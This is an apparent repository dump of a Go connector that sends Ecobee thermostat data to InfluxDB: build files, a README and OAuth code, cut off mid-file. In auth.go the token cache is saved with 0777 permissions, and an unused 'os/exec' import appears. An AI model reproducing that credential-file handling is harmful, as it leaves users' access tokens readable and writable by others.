├── .fpm ├── .gitignore ├── .mega-linter.yml ├── .revive.toml ├── .version.sh ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── config.example.json ├── docker-compose.example.yml ├── ecobee-influx-connector.example.service ├── ecobee ├── auth.go ├── functions.go ├── helpers.go └── objects.go ├── go.mod ├── go.sum └── main.go /.fpm: -------------------------------------------------------------------------------- 1 | -s dir 2 | --name ecobee_influx_connector 3 | --description "Ship your Ecobee runtime, sensor and weather data to InfluxDB." 4 | --url "https://github.com/quickfig/ecobee_influx_connector" 5 | --maintainer "Chris Dzombak " 6 | --license Apache-2.0 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | 3 | ecobee_influx_connector 4 | out/ 5 | -------------------------------------------------------------------------------- /.mega-linter.yml: -------------------------------------------------------------------------------- 1 | # https://megalinter.io/configuration/ 2 | 3 | --- 4 | APPLY_FIXES: all 5 | DISABLE: 6 | - COPYPASTE 7 | - DOCKERFILE 8 | - REPOSITORY 9 | - SPELL 10 | DISABLE_LINTERS: 11 | - GO_GOLANGCI_LINT 12 | - MAKEFILE_CHECKMAKE 13 | PLUGINS: 14 | - https://raw.githubusercontent.com/cdzombak/mega-linter-plugin-dockerfilelint/main/mega-linter-plugin-dockerfilelint/dockerfilelint.megalinter-descriptor.yml 15 | 16 | GO_REVIVE_CONFIG_FILE: ".revive.toml" 17 | GO_REVIVE_FILTER_REGEX_EXCLUDE: "(ecobee/)" 18 | MARKDOWN_MARKDOWNLINT_ARGUMENTS: "--disable MD013" 19 | 20 | VALIDATE_ALL_CODEBASE: true 21 | SHOW_ELAPSED_TIME: false 22 | FILEIO_REPORTER: false 23 | PRINT_ALPACA: false 24 | -------------------------------------------------------------------------------- /.revive.toml: -------------------------------------------------------------------------------- 1 | ignoreGeneratedHeader = false 2 | severity = "warning" 3 | confidence = 0.8 4 | errorCode = 0 5 | warningCode = 0 6 | 7 | [rule.blank-imports] 8 | [rule.context-as-argument] 9 | [rule.context-keys-type] 10 | [rule.dot-imports] 11 | [rule.error-return] 12 | [rule.error-strings] 13 | [rule.error-naming] 14 | [rule.exported] 15 | [rule.if-return] 16 | [rule.increment-decrement] 17 | [rule.var-naming] 18 | [rule.var-declaration] 19 | [rule.package-comments] 20 | Disabled = true 21 | [rule.range] 22 | [rule.receiver-naming] 23 | [rule.time-naming] 24 | [rule.unexported-return] 25 | [rule.indent-error-flow] 26 | [rule.errorf] 27 | [rule.empty-block] 28 | [rule.superfluous-else] 29 | [rule.unused-parameter] 30 | [rule.unreachable-code] 31 | [rule.redefines-builtin-id] 32 | -------------------------------------------------------------------------------- /.version.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -euo pipefail 3 | 4 | if [ -z "$(git tag --points-at HEAD)" ]; then 5 | git describe --always --long --dirty | sed 's/^v//' 6 | else 7 | git tag --points-at HEAD | sed 's/^v//' | awk '{ print length, $0 }' | sort -n -s | cut -d" " -f2- | tail -n 1 8 | fi 9 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | ARG BIN_NAME=ecobee_influx_connector 2 | ARG BIN_VERSION= 3 | 4 | FROM golang:1-alpine AS builder 5 | ARG BIN_NAME 6 | ARG BIN_VERSION 7 | WORKDIR /src/ecobee_influx_connector 8 | RUN apk add --no-cache ca-certificates 9 | COPY . . 10 | RUN go build -ldflags="-X main.version=${BIN_VERSION}" -o ./out/${BIN_NAME} . 11 | 12 | FROM scratch 13 | ARG BIN_NAME 14 | COPY --from=builder /src/ecobee_influx_connector/out/${BIN_NAME} /usr/bin/ecobee_influx_connector 15 | COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ 16 | VOLUME /config 17 | ENTRYPOINT ["/usr/bin/ecobee_influx_connector"] 18 | CMD ["-config", "/config/config.json"] 19 | 20 | LABEL license="Apache-2.0" 21 | LABEL maintainer="Chris Dzombak " 22 | LABEL org.opencontainers.image.authors="Chris Dzombak " 23 | LABEL org.opencontainers.image.url="https://github.com/quickfig/ecobee_influx_connector" 24 | LABEL org.opencontainers.image.documentation="https://github.com/quickfig/ecobee_influx_connector/blob/main/README.md" 25 | LABEL org.opencontainers.image.source="https://github.com/quickfig/ecobee_influx_connector.git" 26 | LABEL org.opencontainers.image.version="${BIN_VERSION}" 27 | LABEL org.opencontainers.image.licenses="Apache-2.0" 28 | LABEL org.opencontainers.image.title="${BIN_NAME}" 29 | LABEL org.opencontainers.image.description="Ship your Ecobee runtime, sensor and weather data to InfluxDB." 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SHELL:=/usr/bin/env bash 2 | 3 | BIN_NAME:=ecobee_influx_connector 4 | BIN_VERSION:=$(shell ./.version.sh) 5 | 6 | default: help 7 | .PHONY: help # via https://marmelab.com/blog/2016/02/29/auto-documented-makefile.html 8 | help: ## Print help 9 | @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' 10 | 11 | .PHONY: all 12 | all: clean build-linux-amd64 build-linux-arm64 build-linux-armv7 build-linux-armv6 ## Build for Linux (amd64, arm64, armv7, armv6) 13 | 14 | .PHONY: clean 15 | clean: ## Remove build products (./out) 16 | rm -rf ./out 17 | 18 | .PHONY: build 19 | build: ## Build for the current platform & architecture to ./out 20 | mkdir -p out 21 | go build -ldflags="-X main.version=${BIN_VERSION}" -o ./out/${BIN_NAME} . 22 | 23 | .PHONY: build-linux-amd64 24 | build-linux-amd64: ## Build for Linux/amd64 to ./out 25 | env GOOS=linux GOARCH=amd64 go build -ldflags="-X main.version=${BIN_VERSION}" -o ./out/${BIN_NAME}-${BIN_VERSION}-linux-amd64 . 26 | 27 | .PHONY: build-linux-arm64 28 | build-linux-arm64: ## Build for Linux/arm64 to ./out 29 | env GOOS=linux GOARCH=arm64 go build -ldflags="-X main.version=${BIN_VERSION}" -o ./out/${BIN_NAME}-${BIN_VERSION}-linux-arm64 . 30 | 31 | .PHONY: build-linux-armv7 32 | build-linux-armv7: ## Build for Linux/armv7 to ./out 33 | env GOOS=linux GOARCH=arm GOARM=7 go build -ldflags="-X main.version=${BIN_VERSION}" -o ./out/${BIN_NAME}-${BIN_VERSION}-linux-armv7 . 34 | 35 | .PHONY: build-linux-armv6 36 | build-linux-armv6: ## Build for Linux/armv6 to ./out 37 | env GOOS=linux GOARCH=arm GOARM=6 go build -ldflags="-X main.version=${BIN_VERSION}" -o ./out/${BIN_NAME}-${BIN_VERSION}-linux-armv6 . 38 | 39 | .PHONY: package 40 | package: all ## Build all binaries + .deb packages to ./out (requires fpm: https://fpm.readthedocs.io) 41 | fpm -t deb -v ${BIN_VERSION} -p ./out/${BIN_NAME}-${BIN_VERSION}-amd64.deb -a amd64 ./out/${BIN_NAME}-${BIN_VERSION}-linux-amd64=/usr/bin/${BIN_NAME} 42 | fpm -t deb -v ${BIN_VERSION} -p ./out/${BIN_NAME}-${BIN_VERSION}-arm64.deb -a arm64 ./out/${BIN_NAME}-${BIN_VERSION}-linux-arm64=/usr/bin/${BIN_NAME} 43 | fpm -t deb -v ${BIN_VERSION} -p ./out/${BIN_NAME}-${BIN_VERSION}-armhf.deb -a armhf ./out/${BIN_NAME}-${BIN_VERSION}-linux-armv7=/usr/bin/${BIN_NAME} 44 | fpm -t deb -v ${BIN_VERSION} -p ./out/${BIN_NAME}-${BIN_VERSION}-armel.deb -a armel ./out/${BIN_NAME}-${BIN_VERSION}-linux-armv6=/usr/bin/${BIN_NAME} 45 | 46 | .PHONY: lint 47 | lint: ## Lint all source files in this repository (requires nektos/act: https://nektosact.com) 48 | act --artifact-server-path /tmp/artifacts -j lint 49 | 50 | .PHONY: update-lint 51 | update-lint: ## Pull updated images supporting the lint target (may fetch >10 GB!) 52 | docker pull catthehacker/ubuntu:full-latest 53 | 54 | GOLINT_FILES:=$(shell find . -name '*.go' | grep -v /vendor/) 55 | .PHONY: golint 56 | golint: ## Lint all .go files with golint 57 | @for file in ${GOLINT_FILES} ; do \ 58 | echo "$$file" ; \ 59 | golint $$file ; \ 60 | done 61 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ecobee -> InfluxDB Connector 2 | 3 | Ship your Ecobee runtime, sensor and weather data to InfluxDB. 4 | 5 | ## Getting Started 6 | 7 | 1. Register and enable the developer dashboard on your Ecobee account at https://www.ecobee.com/developers/ 8 | 2. Go to https://www.ecobee.com/consumerportal/index.html , navigate to Developer in the right-hand menu, and create an App. 9 | 3. Create a config.json file similar to config.example.json above. This file should exist where your work_dir is defined. 10 | 4. Build the project (see Build section). 11 | 5. Run `ecobee_influx_connector -list-thermostats -config $WORK_DIR/config.json` at an interactive terminal; it'll provide a PIN. Make sure to you replace $WORK_DIR with your config path. 12 | 6. Go to https://www.ecobee.com/consumerportal/index.html, navigate to My Apps in the right-hand menu, and click Add Application. 13 | 7. Paste the PIN there and authorize the app. 14 | 8. Return to the `ecobee_influx_connector` CLI and hit Enter. 15 | 16 | You should then be presented with a list of thermostats in your Ecobee account, along with their IDs. 17 | 18 | ## Configure 19 | 20 | Configuration is specified in a JSON file. Create a file (based on the template `config.example.json` stored in this repository) and customize it: 21 | 22 | - `api_key` is created above in steps 1 & 2. 23 | - `thermostat_id` can be pulled from step 5 above; it's typically your device's serial number. 24 | - `work_dir` is where client credentials, `config.json`, and (yet to be implemented) last-written watermarks are stored. 25 | - Use the `influx_*` config fields to configure the connector to send data to your InfluxDB. If using tokens for bucket authentication, then leave the user and password config fields empty. 26 | - Use the `write_*` config fields to tell the connector which pieces of equipment you use. 27 | 28 | ## Run via Docker or Docker Compose 29 | 30 | A Dockerfile is provided. To build your Docker image, `cd` into the project directory and run `docker build -t ecobee_influx_connector .` 31 | 32 | A Docker image is also provided that can be configured via environment variables. [View it on Docker Hub](https://hub.docker.com/r/cdzombak/ecobee_influx_connector), or pull it via `docker pull cdzombak/ecobee_influx_connector`. 33 | 34 | To use the Docker container make sure the path to the `config.json` is provided as a volume with the path `/config`. This location will also be used to store the refresh token and `config.json`. 35 | 36 | ### Important 37 | 38 | Before building a persistent container, you will want to execute `docker run --rm -it -v $HOME/ecobee:/config cdzombak/ecobee_influx_connector -config "/config/config.json" -list-thermostats` so that you can get your token cached (`/config/ecobee-cred-cache`). This will give you a single key you can then use to authenticate with your ecobee api app. After auth you should see the thermostat_ids listed for all your devices. 39 | 40 | If you build a persistent container before performing the above, the initial token request will loop and it will be hard to get the cached token. 41 | 42 | ### Docker Compose 43 | 44 | There is an example `docker-compose.yml` file above. Make sure to modify the volumes section so that it maps your `/config` folder to containers `/config` folder. 45 | 46 | Example: 47 | 48 | ```yaml 49 | volumes: 50 | - $DOCKERAPPPATH/ecobee_influx_connector:/config 51 | ``` 52 | 53 | ### Docker Run 54 | 55 | Example: 56 | 57 | If using the image you built from Dockerfile, use: 58 | 59 | ```shell 60 | docker run -d --name ecobeetest --restart=always -v ./config:/config -it ecobee_influx_connector 61 | ``` 62 | 63 | If using the Docker image, use: 64 | 65 | ```shell 66 | docker run -d --name ecobeetest --restart=always -v ./config:/config -it cdzombak/ecobee_influx_connector:latest 67 | ``` 68 | 69 | ## Install on Debian via apt repository 70 | 71 | Install my Debian repository if you haven't already: 72 | 73 | ```shell 74 | sudo apt-get install ca-certificates curl gnupg 75 | sudo install -m 0755 -d /etc/apt/keyrings 76 | curl -fsSL https://dist.cdzombak.net/deb.key | sudo gpg --dearmor -o /etc/apt/keyrings/dist-cdzombak-net.gpg 77 | sudo chmod 0644 /etc/apt/keyrings/dist-cdzombak-net.gpg 78 | echo -e "deb [signed-by=/etc/apt/keyrings/dist-cdzombak-net.gpg] https://dist.cdzombak.net/deb/oss any oss\n" | sudo tee -a /etc/apt/sources.list.d/dist-cdzombak-net.list > /dev/null 79 | sudo apt-get update 80 | ``` 81 | 82 | Then install `ecobee_influx_connector` via `apt-get`: 83 | 84 | ```shell 85 | sudo apt-get install ecobee-influx-connector 86 | ``` 87 | 88 | ## Build from source 89 | 90 | ```shell 91 | make build 92 | ``` 93 | 94 | To cross-compile for eg. Linux/amd64: 95 | 96 | ```shell 97 | env GOOS=linux GOARCH=amd64 go build -ldflags="-X main.version=$(./.version.sh)" -o ./ecobee_influx_connector . 98 | ``` 99 | 100 | ## Run via systemd on Linux 101 | 102 | 1. Build the `ecobee_influx_connector` binary or install it per the instructions above. 103 | 2. Copy it to `/usr/local/bin` or your preferred location. 104 | 3. Create a work directory for the connector. (I put this at `$HOME/.ecobee_influx_connector`.) 105 | 4. Run `chmod 700 $YOUR_NEW_WORK_DIR`. (For my work directory, I ran `chmod 700 $HOME/.ecobee_influx_connector`.) 106 | 5. Create a configuration JSON file, per the Configure instructions above. (I put this at `$HOME/.ecobee_influx_connector/config.json`.) 107 | 6. Customize [`ecobee-influx-connector.service`](https://raw.githubusercontent.com/cdzombak/ecobee_influx_connector/main/ecobee-influx-connector.example.service) with your user/group name and the path to your config file. 108 | 7. Copy that customized `ecobee-influx-connector.service` to `/etc/systemd/system`. 109 | 8. Run `chown root:root /etc/systemd/system/ecobee-influx-connector.service`. 110 | 9. Run `systemctl daemon-reload && systemctl enable ecobee-influx-connector.service && systemctl start ecobee-influx-connector.service`. 111 | 10. Check the service's status with `systemctl status ecobee-influx-connector.service`. 112 | 113 | ## FAQ 114 | 115 | ### Does the connector support multiple thermostats? 116 | 117 | The connector does not directly support multiple thermostats. To support this use case, I'd recommend running multiple copies of the connector. Each copy will need its own working directory and config file, but you should be able to use the same API key for each connector instance. 118 | 119 | (If deploying using the "systemd on Linux" instructions, give each connector's service file a unique name, like `ecobee-influx-connector-1.service`, `ecobee-influx-connector-2.service`, and so on. 120 | 121 | ## License 122 | 123 | Apache 2.0; see `LICENSE` in this repository. 124 | 125 | ## Author 126 | 127 | [Chris Dzombak](https://www.dzombak.com) (GitHub: [@cdzombak](https://github.com/cdzombak)). 128 | -------------------------------------------------------------------------------- /config.example.json: -------------------------------------------------------------------------------- 1 | { 2 | "api_key": "YOUR_API_KEY_HERE", 3 | "work_dir": "/home/ME/.ecobee_influx_connector", 4 | "thermostat_id": "12345678", 5 | "influx_server": "http://192.168.1.2:8086", 6 | "influx_bucket": "MYHOME", 7 | "influx_user": "", 8 | "influx_password": "", 9 | "influx_token": "", 10 | "influx_org": "", 11 | "influx_health_check_disabled": false, 12 | "always_write_weather_as_current": false, 13 | "write_heat_pump_1": false, 14 | "write_heat_pump_2": false, 15 | "write_aux_heat_1": true, 16 | "write_aux_heat_2": false, 17 | "write_cool_1": true, 18 | "write_cool_2": false, 19 | "write_humidifier": false 20 | } 21 | -------------------------------------------------------------------------------- /docker-compose.example.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.9" 3 | services: 4 | ecobee_influx_connector: 5 | image: cdzombak/ecobee_influx_connector:1 6 | container_name: ecobee_influx_connector 7 | restart: unless-stopped 8 | volumes: 9 | - /home/ME/.ecobee_influx_connector:/config 10 | -------------------------------------------------------------------------------- /ecobee-influx-connector.example.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Ecobee connector to InfluxDB 3 | Requires=network.target 4 | After=network.target 5 | 6 | [Service] 7 | Type=simple 8 | User=ME 9 | Group=ME 10 | ExecStart=/usr/local/bin/ecobee_influx_connector -config "/home/ME/.ecobee_influx_connector/config.json" 11 | Restart=always 12 | RestartSec=5 13 | 14 | [Install] 15 | WantedBy=multi-user.target 16 | -------------------------------------------------------------------------------- /ecobee/auth.go: -------------------------------------------------------------------------------- 1 | package ecobee 2 | 3 | // Copyright 2017 Google Inc. 4 | // 5 | // Licensed under the Apache License, Version 2.0 (the "License"); 6 | // you may not use this file except in compliance with the License. 7 | // You may obtain a copy of the License at 8 | // 9 | // http://www.apache.org/licenses/LICENSE-2.0 10 | // 11 | // Unless required by applicable law or agreed to in writing, software 12 | // distributed under the License is distributed on an "AS IS" BASIS, 13 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | // See the License for the specific language governing permissions and 15 | // limitations under the License. 16 | 17 | import ( 18 | "os/exec" 19 | "context" 20 | "encoding/json" 21 | "fmt" 22 | "io/ioutil" 23 | "net/http" 24 | "net/url" 25 | "strings" 26 | "time" 27 | 28 | "golang.org/x/oauth2" 29 | ) 30 | 31 | // This file contains authentication related functions and structs. 32 | 33 | // Scopes defines the scopes we request from the API. 34 | var Scopes = []string{"smartRead", "smartWrite"} 35 | 36 | type tokenSource struct { 37 | token oauth2.Token 38 | cacheFile, clientID string 39 | } 40 | 41 | func TokenSource(clientID, cacheFile string) oauth2.TokenSource { 42 | return oauth2.ReuseTokenSource(nil, newTokenSource(clientID, cacheFile)) 43 | } 44 | 45 | func newTokenSource(clientID, cacheFile string) *tokenSource { 46 | file, err := ioutil.ReadFile(cacheFile) 47 | if err != nil { 48 | // no file, corrupted, or other problem: just start with an 49 | // empty token. 50 | return &tokenSource{clientID: clientID, cacheFile: cacheFile} 51 | } 52 | var tok oauth2.Token 53 | err = json.Unmarshal(file, &tok) 54 | if err != nil { 55 | // can't unmarshal? Return an empty token. 56 | return &tokenSource{clientID: clientID, cacheFile: cacheFile} 57 | } 58 | return &tokenSource{clientID: clientID, cacheFile: cacheFile, token: tok} 59 | } 60 | 61 | func (ts *tokenSource) save() error { 62 | d, err := json.Marshal(ts.token) 63 | if err != nil { 64 | return err 65 | } 66 | err = ioutil.WriteFile(ts.cacheFile, d, 0777) 67 | return err 68 | } 69 | 70 | type PinResponse struct { 71 | EcobeePin string `json:"ecobeePin"` 72 | Code string `json:"code"` 73 | } 74 | 75 | // Interactive authentication, triggered on initial use of the client 76 | func (ts *tokenSource) firstAuth() error { 77 | pinResponse, err := ts.authorize() 78 | if err != nil { 79 | return err 80 | } 81 | fmt.Printf("Pin is %q\nPress after authorizing it on https://www.ecobee.com/consumerportal in the menu"+ 82 | " under 'My Apps'\n", pinResponse.EcobeePin) 83 | var input string 84 | fmt.Scanln(&input) 85 | return ts.accessToken(pinResponse.Code) 86 | } 87 | 88 | // Make a pin request to ecobee and return the pin and code 89 | func (ts *tokenSource) authorize() (*PinResponse, error) { 90 | uv := url.Values{ 91 | "response_type": {"ecobeePin"}, 92 | "client_id": {ts.clientID}, 93 | "scope": {strings.Join(Scopes, ",")}, 94 | } 95 | u := url.URL{ 96 | Scheme: "https", 97 | Host: "api.ecobee.com", 98 | Path: "authorize", 99 | RawQuery: uv.Encode(), 100 | } 101 | 102 | resp, err := http.Get(u.String()) 103 | if err != nil { 104 | return nil, fmt.Errorf("error retrieving response: %s", err) 105 | } 106 | defer resp.Body.Close() 107 | 108 | if resp.StatusCode != 200 { 109 | return nil, fmt.Errorf("invalid server response: %v", resp.Status) 110 | } 111 | 112 | body, err := ioutil.ReadAll(resp.Body) 113 | if err != nil { 114 | return nil, fmt.Errorf("error reading response: %s", err) 115 | } 116 | 117 | var r PinResponse 118 | err = json.Unmarshal(body, &r) 119 | if err != nil { 120 | return nil, fmt.Errorf("error unmarshalling response: %s", err) 121 | } 122 | return &r, nil 123 | } 124 | 125 | type tokenResponse struct { 126 | AccessToken string `json:"access_token"` 127 | RefreshToken string `json:"refresh_token"` 128 | ExpiresIn int `json:"expires_in"` // nonstandard 129 | TokenType string `json:"token_type"` 130 | } 131 | 132 | func (tr *tokenResponse) Token() oauth2.Token { 133 | tok := oauth2.Token{ 134 | AccessToken: tr.AccessToken, 135 | TokenType: tr.TokenType, 136 | RefreshToken: tr.RefreshToken, 137 | Expiry: time.Now().Add(time.Duration(tr.ExpiresIn) * time.Second), 138 | } 139 | return tok 140 | } 141 | 142 | func (ts *tokenSource) accessToken(code string) error { 143 | return ts.getToken(url.Values{ 144 | "grant_type": {"ecobeePin"}, 145 | "client_id": {ts.clientID}, 146 | "code": {code}, 147 | }) 148 | } 149 | func (ts *tokenSource) refreshToken() error { 150 | return ts.getToken(url.Values{ 151 | "grant_type": {"refresh_token"}, 152 | "client_id": {ts.clientID}, 153 | "refresh_token": {ts.token.RefreshToken}, 154 | }) 155 | } 156 | 157 | func (ts *tokenSource) getToken(uv url.Values) error { 158 | u := url.URL{ 159 | Scheme: "https", 160 | Host: "api.ecobee.com", 161 | Path: "token", 162 | RawQuery: uv.Encode(), 163 | } 164 | resp, err := http.PostForm(u.String(), nil) 165 | if err != nil { 166 | return fmt.Errorf("error POSTing request: %s", err) 167 | } 168 | defer resp.Body.Close() 169 | if resp.StatusCode != 200 { 170 | return fmt.Errorf("invalid server response: %v", resp.Status) 171 | } 172 | 173 | body, err := ioutil.ReadAll(resp.Body) 174 | if err != nil { 175 | return fmt.Errorf("error reading response: %s", err) 176 | } 177 | 178 | var r tokenResponse 179 | err = json.Unmarshal(body, &r) 180 | if err != nil { 181 | return fmt.Errorf("error unmarshalling response: %s", err) 182 | } 183 | 184 | ts.token = r.Token() 185 | if !ts.token.Valid() { 186 | return fmt.Errorf("invalid token") 187 | } 188 | err = ts.save() 189 | if err != nil { 190 | return fmt.Errorf("error saving token: %s", err) 191 | } 192 | return nil 193 | } 194 | 195 | func (ts *tokenSource) Token() (*oauth2.Token, error) { 196 | if !ts.token.Valid() { 197 | if len(ts.token.RefreshToken) > 0 { 198 | err := ts.refreshToken() 199 | if err != nil { 200 | return nil, fmt.Errorf("error refreshing token: %s", err) 201 | } 202 | } else { 203 | err := ts.firstAuth() 204 | if err != nil { 205 | return nil, fmt.Errorf("error on initial authentication: %s", err) 206 | } 207 | } 208 | } 209 | return &ts.token, nil 210 | } 211 | 212 | // Client represents the Ecobee API client. 213 | type Client struct { 214 | *http.Client 215 | } 216 | 217 | // NewClient creates a Ecobee API client for the specific clientID 